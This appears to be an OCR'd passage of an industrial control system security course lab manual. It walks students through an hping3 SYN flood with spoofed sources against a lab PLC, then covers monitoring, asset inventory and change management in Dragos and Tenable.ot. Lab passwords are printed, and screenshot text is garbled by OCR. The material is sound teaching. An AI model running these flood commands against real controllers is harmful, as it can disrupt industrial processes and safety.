While the attack is running, the terminal window will show the hping is in flood mode, no replies will be shown.

root@ICS612-Kali: / e ® O

File Edit View Search Terminal Help

:/# hping3 -c 1000 -S --faster --rand-source 172.16.1.12
HPING 172.16.1.12 (eth® 172.16.1.12): S set, 40 headers + 0 data bytes

--- 172.16.1.12 hping statistic ---
1000 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

:/# hping3 -S --flood --rand-source 172.16.1.12
HPING 172.16.1.12 (eth® 172.16.1.12): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

21. Open the Windows VM and you should now see where the Click Plus PLC cannot communicate with the Click Plus
programming software. You may notice the following windows message with the prompt to work offline.
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| re—

‘EF ‘
Fe
J

Clip Board | Edit

Program Function PLC
-4} Ladder Program

] Main Program
Eﬂ Subroutine Program

.. @#¥ Interrupt Program
&9 Address Picker

----- @ Edit Rung Comments
.. Local Program Inforn
.4 syntax Check

- Cross Reference View

CLICK Programming Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program]

22. Click "wWork 0ffline".

View Program
A E
Hack Useful Box
0=As Designed, Enable Useless Box
1=HACK! Motion
HackUBox EnableUseless
T 1 /'. Y001
i s Cour)
_1st_SCAN
.I S(IZZ "
2 | T CLICK Proc ing Software X PINITALIZE
The programming session to the PLC was
3 & di ted. Please t or choose FLASHER
to Work Offiine.
Always False Bit
AlwaysFalseBit [ workofine | = Recomect |
B C100
4 |} Sl JgoxaLarms
call &
<R >
Transfer completed.

Write Project into PLC...
Transfer completed.

23. From your Windows VM machine, ping your Click PLC and you will find the ping is not responsive.
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B Administrator: Command Prompt — O X

C:\WINDOWS\system32>ping 172.16.1.12

Pinging 172.16.1.12 with 32 bytes of data:

Reply from 172.16.1.11: Destination host unreachable.
Reply from 172.16.1.11: Destination host unreachable.
Reply from 172.16.1.11: Destination host unreachable.
Reply from 172.16.1.11: Destination host unreachable.

Ping statistics for 172.16.1.12:
Packets: Sent = 4, Received = 4, Lost = © (0% loss),

C:\WINDOWS\system32>

24. Open Wireshark on your Windows VM and you will see that the pings to the Click PLC are coming from random IP Addresses.

This make it harder to troubleshoot where the SYN flood is coming from.

Q q q i

=

No. Time Source Destination Protocol Length  Info
79.231.15.135 -16.1. 4 Out-Of-Order] 2576 > @ [SYN] Seq=0 Win=512

.666850 227.37.14.1 172.16.1.12 TCP 54 2577 > © [SYN] Seq=0 Win=512 Len=0@
.666854 227. .16. , Out-0f-Order] 2577 » © [SYN] Seq=@ Win=512
.666861 244.231.50.201 T2 G- 1117 TCP 54 2578 > @ [SYN] Seq=0 Win=512 Len=@
.231.50.201 .16.1. Out-Of-Order] 2578 > © [SYN] Seq=@ Win=512
.666872 o) 7/ 7220 22722, 172.16.1.12 TCP 54 2579 > @ [SYN] Seq=@ Win=512 Len=@
.666878 3. 22 .16. 2 Out-0f-Order] 2579 » @ [SYN] Seq=@ Win=512

B
®
[l
vl v G v RS G G S G

.666888 116.6.97.81 172.16.1.12 TCP 54 2580 > @ [SYN] Seq=@ Win=512 Len=@
. Out-Of-Order] 2580 > @ [SYN] Seq=@ Win=512
405... 5.666901 208.179.209.54 172.16.1.12 TCP 54 2581 > © [SYN] Seq=@ Win=512 Len=@
.. 5.666904 . . .16. 4 Out-Of-Order] 2581 > @ [SYN] Seq=@ Win=512
405... 5.666913 208.173.15.221 172.16.1.12 TCP 54 2582 > © [SYN] Seq=@ Win=512 Len=0
5.666916 .173. .16. Out-Of-Order] 2582 > @ [SYN] Seq=@ Win=512
405.. 5.666924 128.126.45.9 172.16.1.12 TCP 54 2583 > © [SYN] Seq=@ Win=512 Len=0
e 5. Out-Of-Order] 2583 > @ [SYN] Seq=@ Win=512
405.. 5

.666936 234.45.147.240 172.16.1.12 TCP 54 2584 > © [SYN] Seq=@ Win=512 Len=0

g 22 2 D oL o od ocg 2 A coo o Lo oo oo
Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface \Device\NPF_{66F3B66A-E568-4CD2-BBFD-047740453D80}, id ©
Ethernet II, Src: VMware_33:cd:dl (©0:0c:29:33:cd:d1l), Dst: KoyoElec_12:b6:48 (00:d0:7c:12:b6:48)

Internet Protocol Version 4, Src: 162.100.54.135, Dst: 172.16.1.12

Transmission Control Protocol, Src Port: 65234, Dst Port: @, Seq: @, Len: @

90 do 7c 12 b6 48 @0 ©c 29 33 cd d1 08 00 45 00 |--H-- )3 E
90 28 cc bb 00 00 40 06 28 od a2 64 36 87 ac 10 ( @ (--d6
01 Oc fe d2 @0 @0 7b c¢3 25 ed 54 9d cb @1 50 @2 { %T P
092 00 67 b8 00 00 g

™ics612.. B PFleEx. FoAdmin. ®YHowt. £F Settings "0ICS612.. WTics612.. M*Hpin.. WP Contro.. £ Wiresh.. ®ICUCK.. @ 74F ~ © G %@ 7 <) 9:00PM

25.To end the hping3 attack, go back to the Kali VM and press ctrl + ¢
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1CS612 - Kali-Linux-v19.08 - VMware Workstation 16 Player (Evaluation license) & O X

Player v || ~ @ [Dj & < @

Applications ~ Places ~

root@ICS612-Kali: ~

File Edit View Search Terminal Help
:~# hping3 -S --flood --rand-source 172.16.1.12
HPING 172.16.1.12 (eth® 172.16.1.12): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
¢
- 172.16.1.12 hping statistic ---
17427077 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/mix = 0.0/0.0/0.0 ms
~#

26. Let's attempt to re-establish a connection from the Click Plus Programming Software to the Click Plus PLC. From the Home
tab, select " connect ".
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CLICK Programming Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program] - O X

v
v
v
A B C D E F
Progem [EmORRIRC Hack Useful Box
E Ladder Program ~ 0=As Designed,
T ‘,..g M.mr;;'gm 1=HACK!
& & Subroutine HackUBox
. Program Bl
881 ALARMMGMT 1 A
i I
N FLASHER
N8 INITALIZE
i1 PRODSEL 15t SCAN
- 83 TEMPERATURE BsC2
" &84 UBOXALARMS 2 |}
- @ Interrupt Program
- & Address Picker
- @ Edit Rung Comments 3
L) Local Program Inforn'
- Syntax Check Always False Bit
-9 Cross Reference View AlwaysFalseBit
l|c1:)o
4 L
<\
i Transfer completed. X
- System Monitor I
-0 PID(Monitor/Configurati rite Project into
- gm in e...../ 2% o | Transter completed. a
« pEntiie ]

HE]

You will notice the Click Plus PLC now has an "ERROR" status.
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Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program]

CLICK Programming

‘|‘A

e H
¥
Setup

!Sllp Board
]

Program Monitor

Connect to CLICK PLC
Prg CLICKPLC
3 cemn~
El A
PortType: | 7] Location of the target CLICK PLC
z @ In the same LAN (Scan all CLICK PLCs in the LAN automatically.)
IntelR) 82574 Giga : < (O Outside this LAN (You need to allocate IP address and port number manually.)
Port Setting PLC Name IP Address Subnet Mask PartNumber  Firmware Mode Status  Mac Address
e Een I 7 N N T T (T
SubnetMask:  255.255.255.0 . - o
Default Gateway: 172.16.1.1
=}
Refresh | | BinkRUN&ERRLEDs | | Edit.. |
v
| comect | | cancel | | Hep |
~
Write Project into PLC...
Transfer completed. .
v

27.Click " connect " and enter the username " admin " with a password of " sansics123".

You are now online but the controller has an error and is in "Stop" mode.
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CLICK Programming Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program] = =] X
) s

'.\ = - -
43 Cop v A

3 v v
Clip Board View Program LC Monitor

A T i [ e | F

Program Function PLC Hack Useful Box
=-#% Ladder Program 0:#15 ae:icglged, E"“":‘U‘F‘& B
| i 5 otion
[ : HackUBox EnableUseless
ﬂ Subroutine Program BCl flwm
! e (our)
_1st SCAN
Esc2
I
2 { N Nmauze
A Call
@ Edit Rung Comments 3 i
Q) Local Program Inforn
-8 Syntax Check Always False Bit
P Cross Reference View AM;ysFalseBot
-8 Monitor . 100 a
B8 status Monit 1T > XALARMS
= Data View
. 78 DataView! o v
a Text View <H >
-3 MQTT Text View
~B® Override View Transfer completed. .
[T system Monitor N
=] PID(Monitor/Configurati rite Project into PLC...
Em NIN Cobromn v | Transfer completed. .
< > -
i H - ), el H e BHY
H| F t! 1’ ;’ SHeF2] | SHeF:
Bit  [HInteger nteger(2 words) |k Floating point Hex T Text A Asci 0356/8000 C2-01CP! 1:1:A "

28. Click the " stop " icon to change the PLC mode. Once you do, you will see the PLC Modes dialog box popup.
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CLICK Programming Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program]

Program Function PLC

=] Ladder Program
& Main Program
1

= 481 Subroutine Program

PLC Modes

—w Edit Rung Comments

CurrentPLC Mode:  STOP
—
NewPLCMode:  (@RUN
Osrop
3 —
Q) Local Program Inforn
& Syntax Check Always False Bit [ ok || canxe
€9 Cross Reference View A’*‘Y’F alseBit
&8 Moritor ‘ 100
R Status Moni .
= FH Data View
¥ DataView1
[ Text View
53 MQTT Text View

B Override View

[ b |
!

Transfer completed.
=] PID(Monitor/Configurati

LU 1T, vy

Write Project into PLC...
v | Transfer completed.

29. Click " ok " and attempt to change the mode to run.

[ |
b g
You will find that you cannot return the PLC back to run mode.

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson

341



1 rogrammin 0 are (Version 5. - IC odbus La . 0a1-£-3-135.C - ain ¥rogram
CLICK Prog ing Software (Version 3.21) - Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp - [Main Program] O
File ~ Home Edit View Setup Program Instruction PLC Monitor Window Help @ Style - = & X
% Cut « wp L Cursor v/ RungComments B Navigation % @ £ Address Picker - % £ online  [i@ Status
e e Al
=3 Copy # Line v| Address Comments | Instruction List ¢ Cross Reference m ﬂ Stop m Data View ~
e Undo Redo - CPU  I/O Software Disconnect -
A Paste ,~Erase  [v| Nicknames & & s Syntax Check & @ Eror
Navigation a2 x A [ 8 | ¢ | o | E | °F AF A Instruction List x|
Program  Function PLC Hack Useful Box Instruction
=-{*} Ladder Program N 0=As Designed, Enable Useless Box Contact A
E . 1=HACK! Motion
Main P
@ A r?gram HackUBox EnableUseless BH Contact (NO)
-4 Subroutine Program BEC B Y001 Contact (NC)
&1 ALARMMGMT 1 A {out) (i} Edge Contact
8 FLASHER —— PLC Modes X (5% Compare
S&1 INITALIZE | - Coil
N1 PRODSEL _1st SCAN PLC Mode Changing x @4 Out
N8 TEMPERATURE Hsc2 - 0l set
. Changing from ST i
881 UBOXALARMS 2 | —— ——— chenong CLICK Programming Software X F—)INITALIZE Bl Reset
@ Interrupt Program |
: Timer/Counter
& Address Picker PTC.008 ‘all i
- 2 b imer
@ Edit Rung Comments 3 |\ The PLC Mode cannot be changed —> FLASHER o] Count
Q) Local Program Inforn - cizalicid
& syntax Check Always False Bit oK :_Idulted
£ Cross Reference View AlwaysFalseBit -“ %3 Math
=B Menitor IH’OIOO bl Drum
J® Status Monitor = L UBOXALARMS SR| Shift Register
fir
=B Data View Copy/Search
DataView1 - call . Y | Copy .
] Text View -
3 MQTT Text View Output 2 x
B Override View Transfer completed. o
[Tl System Monitor A o
- /m0] PID(Monitor/Configurati | Write Project into PLC...
{7 P v | Transfer completed.
< > v
Al Ascii rror - %2
[A] Ascii E 0356/8000 C2-01CPU 1A

30. You will have to remove and restore the power to the Click Plus PLC in order to get the PLC to go back into "Run" mode and
the code to execute.

The important thing to note is this type of attack can prevent visibility of the design or operational tools. Because an attack like
this may stop the programming tools, it may indeed cause a scenario where a loss of control may not be able to be managed
because programming tools may not be able to cause an effect on a PLC, HMI or I/0.

It should also be noted that a direct attack to a device may have a side effect of causing the security monitoring solution to
become nonresponsive and ineffective.

Lastly, not all PLC's will require a power cycle or any intervention after a DoS attack. Each automation vendor will decide what
should happen when the communication interface is servicing too many requests. Some vendors may simply shut the
communication interface off until the traffic flood is finished. In any case, if the communication to the PLC is under attack, you
will struggle to communicate with the PLC from the HMI, software design tools or any other reporting and archiving systems

1. Can both CyberLens and Integrity software tools perform static and Live traffic collection and analysis?
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2 Which tool performs ICS network whitelisting?

3. What is the key capability necessary for either of these tools to work and provide value?

Exercise Takeaways

Network monitoring is crucial for creating a baseline of expected network traffic.

Sensor placement for control traffic will require sensors located near the controllers to catch unusual pattern or type of traffic is
occurring.

Using automated network monitoring tool to find ICS assets can be problematic as some assets may be powered off during the
scan while others may not be accessible from the scanning device's network.

Manual inspection of a facility, including opening up control cabinets to find all the network switches is required if you really want
an accurate inventory of networking equipment.

In most ICS networks, the communications are deterministic and the capability to whitelist the existing communications can help
to quickly identify abnormal traffic with little effort and minimal staff. In the condition where an environment is already
compromised and obtaining a good baseline is challenging, or in ICS environments that have high levels of changes, patches, and
dynamic communications it may be easier to perform analysis on traffic to look for anomalous communications or protocols.
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Lab 4.3 -- Monitoring Tool Integration in ICS

Background

At this point we have looked at local ICS traffic capture and analysis through multiple tools and utilizing those tools we sent logs
of activity up to a log aggregation and visualization system through ELK. All of this has been done with freely available tools that
have been provided on an ICS focused community VM distribution. We will now look at some commercial tools that make this
process of distributed ICS traffic collection, analysis, and response much easier and repeatable for your teams

Total Lab Time: 20 minutes

Objectives

+ Log into the Dragos platform
+ Review the platform analysis console

+ Review the responder console

Task 1 -- Access the Dragos Platform

1. Navigate to the Dragos Platform from a browser. Do not use Edge browser.

https://172.20.1.41

2. Accept and continue on any certificate issues
3. Log into the Dragos Platform

Username (case sensitive) studentAAB

Where AAB:

AAB is based on your Pod and Student number derived from the method below.

AA = Pod#=1-15
B = Student# = 1-2

Example

Pod 1 / Student 1 Username = student011
Pod 12 / Student 2 Username = student122

Password ICS612student!

Check the Accept the user license and click Log In.
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Dragos Platform v1.5.1.1

ics612

ICS612student!

user license

Reset Password

Copyright 2017-2019, Dragos, Inc.

Task 2 -- Explore the analysis console

Note

The data that is being collected here is coming from the classroom environment through the midpoint sensor and is then
being aggregated on the site store Dragos Platform.

You would deploy as many of the midpoint sensors throughout your environment where you need visibility.

1. Utilize the navigation panel on the left and click map .
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2 As the Platform aggregates data from multiple environments and multiple sensors, you will need to select the networks and
sensors that you wish to view. For our classroom environment select all networks, all sensors and include physical
and {dnclude logical link filtering.

Load an Asset Map

+/ Networks Select: allA | none </ Sensors Select: allA | none Time Range
X X Custom
Undefined Network midpoint01 om
Vv v From
09/07/19, 05:45 PM UTC m

</ midpoint01_collectorbond W collectorbond

To

09/09/19, 06:00 PM UTC

E

Asset Filtering

Linked & Broadcasting Assets

Link Filtering
\/ Include Physical
\/ Include Logical
D Include Implied

LOAD MAP

3. Select Load Map .
4. On the Map window, you may need to modify the date ranges. Under Filtering, select a preset range as Last 24 Hours.
= FILTERING ~ B ‘(r)qu,/vé.%'w, 05:45 PM UTC E] 09000 06:00 PM UTC Q:SearchM * ® 1ype - 9

Networks: midpoint01_collectorbond + 1 more Collectors: collectorbond  Links: Physical & Logical Assets: Linked & Broadcasting Protocols: All 88assets 4links 4groups

EXPLORE MAP STRUCTURED MAP

I

@
>
(7]
m
c
=z
<®)> o
¥
+ g
2
3) 7
- Timebar v m
z
M 6:00 PM 12:00 AM 6.00 AM 12:00 PM 6:00 PM 12:00 AM 6:00 AM 12:00 PM 6:00 PM 1

Sep 9, 2019

000 0006 |

5. From within the Map window, you can view the timeline to go backwards to the beginning of the week and then move forward
to see the environment change over the course sections.

6. You can also look at the tabs on the right to see the protocols active within the environment.

7. Navigate to the Assets view in the left navigation panel
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8. Click on one of the assets to pull up the high-level information panel about on that asset.

CLOSE X

Asset ID: 1
Hostname:
Class: -

Type: -

Purdue Level -

Actions ~

Hardware

9. Click Full petails near the bottom of the asset information panel to see additional details, including device info,
vulnerabilities, protocols, and conversations.

Asset ID: 1

Hostname:

Networks: Default NetworklD RFC1918
Observed By: midpoint01

First Seen: 09/09/21,20:55 UTC
LastSeen: 09/09/21, 20:55UTC

Class: -

Type: -

Purdue Level -

. .
SUITIELRY Communications
Communications Records of all incoming and outgoing communications for this asset.
Notifications @
Vulnerabilities ° Role Protocol Ephemeral Ports Server Ports Transferred Bytes Recieved Bytes
Baseline Behaviors
Client Lc 128 0

Dataset

10. Navigate to the Content view in the left most navigation panel

11. Look through some of the behavior analytic content packs that are loaded and see some of those that have fired as
detections.
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DETECTIONS - 161 CHARACTERIZATIONS - 116

Qs N Group by: e Filters: 5 2] > n

= Address Scan
H Remote Analytic
Detects hosts scanning a large number of IP addresses.
Remote
Engine: Network Analytic ATT&CK Tactic: Discovery
Type: System ATT&CK Technique: Remote System Discovery
Detection Quad: Threat Behavior Data Source: Packet Capture 1 0 'I
Activity Group: - Purdue Layer: -
Example Tools: nmap Asset Type: -
ICS Cyber Kill Chain: ICS Cyber Kill Chain: Stage 1 - Vendor: -
Reconnaissance Protocols: -
View this analytic's run logs
B VIEW LogMy MORE v

Every 15 minutes, starting at minutes past 09/10/19,01:45 AM | 09/10/19, 02:00 AM

@ Address Then Port Scan

Identifies when an address scan is quickly followed by a port scan

the hour uTc uTc
Running
Engine: Correlation ATT&CK Tactic: Discovery
Type: System ATT&CK Technique: Remote System Discovery
Detection Quad: Threat Behavior Data Source: Packet Capture n B 2

Task 3 -- Explore the responder console

1. In the bottom left there is an interface navigation window. Select the bottom right arrow to switch platform views.

2. You will the Detection summary dashboard. This provides a view of the four types of threat detection for ICS as developed by
Robert M. Lee.
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Anomalous Number of Modbus Commands Possible ARP spoofing detected
MODELING o - S THREAT BEHAVIOR o - o tea
Anomalous Number of Modbus Commands Possible ARP spoofing detected
Anomalous Number of Modbus Commands Possible ARP spoofing detected
Anomalous Number of Modbus Commands ‘ Possible ARP spoofing detected
< 8 g e < 211 > st
Anomalous Number of Modbus Commands Possible ARP spoofing detected
Anomalous Number of Modbus Commands Possible ARP spoofing detected
‘ N ) B: : ¢ s
LA} Numbor.of Modhus. £ ®O
I
CONFIGURATION Q@ || Lomanscanatbencied INDICATOR © - || Driereubo
MS17-010 Shellcode Heap Spray Part 1b - Possib...
Severlty 5 MS17-010 SMB1 TRANS2 Response STATUS_IN...
Severity 4
. MZ header on port 4444 - Possible Metasploit Me...
< Severity 3 > < 20 > .
MS17-010 Shelicode Heap Spray Part 2 - Possibl...
Severity 2 9 6 PM
Severity 1 MS17-010 SMB2 Zero Packet - Possible Metaspl...

3. Select the Threat Behavior category and navigate through some of the higher priority items

THREAT BEHAVIOR o - Possible ARP spoofing d d

09/09/19, 02:47 PM UTC

Possible ARP spoofing detected
09/09/19, 02:37 PM UTC

Forwarded RDP Negotiation Request - low dst port
09/07/19, 05:33 PM UTC

( ‘ ) Forwarded RDP Negotiation Request - n

09/07/19, 06:50 AM UTC 4),3

Possible ARP ‘mm{ Forwarded RDP Negotiation Request -

09/05/19,11:32 PM UTC

Possible ARP spoofing detected

2345
00

4. Choose one of the items to see additional details
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) Fdrwarded RDP Negotiation Request - nonstandard dst port

OCCURRED AT ASSOCIATED ASSETS Viewing Time Range: 6:30 AM to 7:00 AM 09/07/19 UTC
C ond
Type H D = Name $ Dir 3

» WO workstaton 144 Asset144 00:0C29.E0:09E3 4=

> &= 122 Asset122 5C:88:1699:99:33 —b
PLAYBOOKS
No Associated Playbooks
RELATED NOTIFICATIONS (0)

D = Occurred At H Summary H

< PREV cLose m NEXT >

5. Note the option to create a case, in which you can start a new case as a responder collecting data sets and activity
associated with the case.

Create a New Case

Let’s start by getting a few things out of the way to create your Case.

Name”
sibility *
Priority * . -
Hypothesis *
A
\’ Inciden
CANCEL SUBMIT
6. Logout of the Dragos Platform
350 © 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson

Technet24



Clear App Cache

Logout @

1. Is the SiteStore server capturing traffic?

2. Do the analysts need access to the networks that are being monitored?

3. What is the difference between the identified Threat Behaviors and the Indicators?

Exercise Takeaways

Expanding our network monitoring beyond the local networks, we see there are Systems of Systems which is more representative
of an industrial environment.

Sensor placement at routers and higher-level switches will catch the System-to-System communications. The data flow diagrams
will show much more traffic flowing from the controller layers to the higher levels.

Sensors at the higher levels will see larger streams of data while the lower-level sensors will see smaller more rapid streams.
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Lab 4.4 -- ICS Asset Inventory and Management

Background

Total Lab Time: 40 minutes

Objectives

« Identify the type of IT and OT information that is available from inventory tools.

» Understand what nuances exist with automated inventory tools.

+ Learn what determines an ICS device change and track changes to the device and running program/configuration.
+ Understand the nuances of change management tools.

+ Review how patch levels are determined for controller assets.

+ Review another available asset information with a critical eye as to determine what existing or additional might be useful for
patch management.

Task 1 -- Asset Discovery

1. Navigate to the Tenable.ot from a browser. Do not use Edge browser.

https://172.20.1.40

2. Accept and continue on any certificate issues
3. Log into the Tenable.ot.

Username (case sensitive) studentAAB

Where AAB:

AAB is based on your Pod and Student number derived from the method below.

AA = Pod#=1-15
B = Student# = 1-2

Example

Pod 1 / Student 1 Username = student011
Pod 12 / Student 2 Username = student122

Password ICS612student!

Click Log In.
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(Otenable.ot

‘ L ics612 ‘

@ Policies

All Assets

v g Inventory

All Assets All Assets JNEINIS

Controllers and Modules O HISTSRV.scada.l¢
Network Assets [ DATASRV
# Network Map [l HMISRV

5. Narrow the list to find your Pod controller. In the search field type pod and click the blue magnifying glass to the right.

All Assets |pod J 2|

6. Select the controller associated to your local Pod controller (PLC).

7. Take a moment and review the "Overview" information displayed.

. FI)?L<§1wPod1

Associated IPs  Vendor Family Firmware Version Last Seen
172.16.1.2 Rockwell CompactLogix 5370 24.013 12:59:27 AM - Feb 4, 2022
Details
Overview
Code Revision
. NAME RawPod1
IP Trail
)ESCRIPTIO Raw Pod 1 V24
Attack Vectors bl
RD Level 1
Open Ports FURDUE LEVEL
STA Runnin,
CVEs STATE g
STATE UPDATE TIME 12:58:27 AM - Feb 4, 2022

Vulnerabilities

Expectedly, "First Seen" can only be as early as the system started collecting data. "Last Seen" should update regularly as long
as the asset is seen on the network. When taking inventory, it is critical to document assets that are not always online. Having
an online inventorying tool, with appropriate network visibility, improves chances of catching those irregularly connected
assets.

8. Scroll down and take a moment to review the information under "General".

General

PLC NAME RawPod1
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9 Scroll to the right and take a moment to review the "Backplane View" information displayed.

Backplane View

Backplane #1 :’

0 1 2 3 4 5 6 7 8 9

m © ©

Tenable.ot has both passive and active monitoring. Passive monitoring has limitations on the type of data that can be
obtained about the assets but does not interrogate the assets it discovers. Active monitoring can not only increase the
accuracy but enrichens the information discovered about the asset. As a configurable option, the use of this featurein a
running ICS environment is unique to each organization's risk/value discussion.

Modular PLCs and Controllers typically host a communication backplane to allow a selection of other embedded modules to
be easily added to the system. This backplane can sometimes have exposure from external ethernet networks but through
unconventional methods. For instance, the modules on this PLC brand do not have individual IP addresses. Rather, this
communication occurs through the CIP protocol, accessible from the ethernet network over Ethernet/IP.

10. Click open Ports from the sub-menu within the asset view and review the list.

Attack Vectors
Port |

Open Ports

v~ 172.16.1.2 | 1769-L18ER/B LOGIX5318ER(2)
CVEs

on 1

In this tool, when enabled, open ports are determined through an active port scan. This activity should never be taken lightly
in an ICS environment due to unwanted impacts to operating equipment. Indirect losses can extend, but not limited, to
equipment failures, loss of products or services loss and safety incidents.

11. Review network inventory of engineering workstations like a laptop. Go back to the "All Assets" list and within the search field
type 172.20.2. and click the blue magnifying glass to the right.

12. Select the EWS1.scada.local asset.

All Assets |172202 B
Name Type ¥ Critica... Associated IPs
EWS1.scada.local OT Device Medium 172.20.2.31 | 17.

13. Note the Click on IP Trails,review the historical records of IP Addresses associated with on this asset.

Search ﬂ‘
IP Trail

Attack Vectors P

Open Ports v Network Card | #1(3)
CVEs 172.20.2.31
Vulnerabilities 172.20.2.31
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14.

15.

16.

17.

18.
19.
20.

EWS stand for engineer workstation. The IP address of an EWS may or may not change over time. Some workstations may be
dedicated to an area of operation and configured with a static IP address. Mobile workstations, for maintenance or safety
reason, might be plug into various local panel switches and configure the IP address manually each time to connect to the
subnet local network of a PLC.

Due to the large number of vendors and unique ICS devices, ICS inventorying tools are not always able to support every ICS
asset in existence to definitively fingerprint or interrogate the device.

Go back to the "All Assets" list and within the search field type the IP address of your ClickPLC and click the blue magnifying
glass to theright.

172.16.AA B2
Where: AA = Pod# =1 - 15
B = Student# =1-2
Examples:
Podl / Student 1 = ping 172.16.1.12
Podl2 / Student 2 = ping 172.16.12.22
Click the oT pevice #[x] .
All Assets |172.16.1.12 ° a
Name Type ¥ Critica... Associated IPs
OT Device #1 OT Device Medium 172.16.1.12

Review and compare the information provide between this controller (Click PLC) to the previous Pod controller.

There is no backplane information provided on the Click PLC even though multiple modules are connected. As mentioned,
this could be a result of the backplane communication protocol is not accessible from the Ethernet network, or the tool does
not fully support this device.

Server and workstation assets are just as important as ICS assets, click Network Assets under the "Inventory Group".
Find and click HMISRV .
Review the "Overview" and "Open Ports" information.

(] HMISRV

HMI

<

Assoclated IPs  Vendor  OS Last Seen

172.20.1.22 VMware Windows Server 2008 R2  12:07:06 AM - Feb 5, 2022

Details

Overview
IP Trail

NAME HMISRV
Attack Vectors

PURDUE LEVEL Level 2
Open Ports
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21.

22.
23.

Attack Vectors Port mapping is an ongoing process, the data below may not inc

Open Ports
Port Protocol

CVEs

v 172.20.1.22(11)
Vulnerabilities

80 HTTP
Events

135 WMI
Network Map

139 netbios-ssn

445 SMB

The protocol names listed are entirely dependent on the detection capabilities used by the inventory application tool. False
positives are probable so be sure to verify the protocol name and description when baselining the inventory. For this asset it is
running Rockwell Automation software, so the protocol named FactoryTalk communications on port 1332 is relevant.

Identify a mistakenly identified asset. Go back to the "All Assets" list and within the search field type the .252 and click the
blue magnifying glass to the right.

Click on any device ending with an IP Address of .252.

Review the information about this asset, specifically "Open Ports".

All Assets |2 g ]
Name Y Type ¥ Critica... Associated IPs
O Endpoint #11 Endpoint [ 14 e 172.16.1.252

This asset is labelled generically as Endpoint by the tool. At first glance and based on it reporting the vendor Rockwell and
having TCP/44818 as an open port, many users would mistakenly consider this to be a PLC when in fact it is a Stratix Switch
that happens to be running an Ethernet/IP service. Automated Inventory Tools are invaluable in ICS environments where
many complex, mixed vendor, new and legacy systems exist. However, some degree of a validation/verification process must
also exist to ensure the results are appropriately understood before bringing this information into the security program.

Task 2 -- ICS Asset Change Management

1.

Reviewing the queries. From the menu on the left, click into " Local Settings " — " Queries " — " Controller ".

Tag Groups

o All Controller Queries ®
Rule Groups
v ¢ Local Settings
0 Periodic Snapshots Frequency: Every 4 days at 9:00 PM Edit ® Run now ®
Device
User Settings
API Keys 0 Policy Triggered Snapshots ®
HTTPS
License o Controllers Discovery Frequency:  Every 1 hour Edit ® Run now ®
> User Management
v Queries 0 Controller State Query Frequency: Every 15 Minutes Edit ® Run now ®
Asset Discovery
Controller 0 Controller Details Query Frequency: Every 4 hours Edit ® Run now @
Network
v Assets 0 Backplane Query Frequency: Every 1 hour Edit ® Run now @
Asset Settings
Hidden Accate
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"Periodic Snapshots" is an examination of the current code running in the asset for detecting change.
"Controller State Query" is an examination of the current PLC status (Running, Stopped, Fault, etc.).

2. Click on pPolicies from the menu on the left.

Network Threats

Network Events Policies | search E‘

@ Policies
] Status Policy Name

v g Inventory
v [] controller Activities(110)

All Assets

| O SIMATIC Code Download
Controllers and Modules -
Network Assets O [ @) SIMATIC Code Upload

3. Click on the policy named Rockwell Code Download .

An event contains both the source asset and destination asset. For this policy, the source asset is the asset from which the
code download was performed. The destination asset is the recipient of the code download. In an operations environment, a
code download activity is usually minimal but can appear as an abnormal network communication that may not bein a
baseline. Having a process to handle to these events is necessary for a quick and effective resolution.

4.Click Triggered Events

Details

Search... E

Exclusions LogID ¥ Time

Triggered Events

Events are the historical records of policy-based detections running in the tool. These policies are built by Tenable.ot based on
a set of conditions around the analyzed passive and active network activity. The level of support across the many ICS vendors
and products influences the number/types of available policies.

5. From the list, select one of the destination assets.

6. From within the asset, click on code Revision and review the information provided.

Associated IPs  Vendor Family Firmwa
172.16.1.2 Rockwell CompactLogix 5370 24.013
Details

Version 1

09:14:34 PM - Feb 4, 2022

Code Revision

IP Trail

Attack Vectors

Multiple versions of the maybe listed but only one will be selected as Baseline. A breakdown of what is included in the
versions is included but also an ability to compare two versions and highlight the specific changes made.

7. Highlight the latest version and place a checkmark in the " compare to " box. Select Baseline Version in the dropdown box.

8. Scroll through the information. Only the differences between the chosen versions are displayed.
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Version 2 —
04:06:50 AM - Feb 5, 2022 Version 2 | Search E‘ Compareto | Baseline Version v ‘ [

Version 1

09:14:34 PM - Feb 4, 2022 Name Name Size Compiled on

This tool can trigger on changes in the ICS environment with potentially enough details to discuss approval with the
operations team. On acceptance, the latest version can be set as the new baseline. Otherwise, the source address captured as
part of the policy can be used to chain together, with other forensics evidence, a sequence of events leading to the change
within the ICS environment.

9. From within the same asset, click on Events and review the information provided.

Details

Code Revision

IP Trail LogID ¥ Time Event Type
Attack Vectors O 144 12:40:03 AM - Feb 5, 2022 Change In State
Open Ports

CVEs

Vulnerabilities

Events

NMatunr L Man

Task 3 -- Understanding Asset Risks

1. Review the risks identified in the environment. From Tenable.ot application, open the Risk Dashboard, click rRisk from the
menu on the left under group "Dashboard". Scroll through the "Dashboard".

v @ Dashboards
, Risk
Risk
Inventory Risk Statistics
Events and Policies
v A Events
All Events

Configuration Events

SCADA Events

23.4 48 4

2. Click cves from the menu on the left under "Risks".

Controllers and Modules
Network Assets CVEs |search B‘

# Network Map

CVE VPR ¥ CVSS v3.x CVSSv2.0
v & Risk
CVEs
CVE-2019-10952 5.9 5.9 225
Vulnerabilities
NNM Plugins
v &% Network
CVE-2016-2279 3.8 2.7 4.3
Network Summary -
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3 Review the details of CVEs and select cvE-2019-10952 .

4. After reviewing the details select Threat Intelligence.

Controllers ana Modules
Network Assets
# Network Map
v & Risk
CVEs
Vulnerabilities
NNM Plugins

Network

<
-

Network Summary

CVE-2019-10952
L3 g

E

VPR (CVSSv3.x CVSSv2.0 Published Date Affected Assets

